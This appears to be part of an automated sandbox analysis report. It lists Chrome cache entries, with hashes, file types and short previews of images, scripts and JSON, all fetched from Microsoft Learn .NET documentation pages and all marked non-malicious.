Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
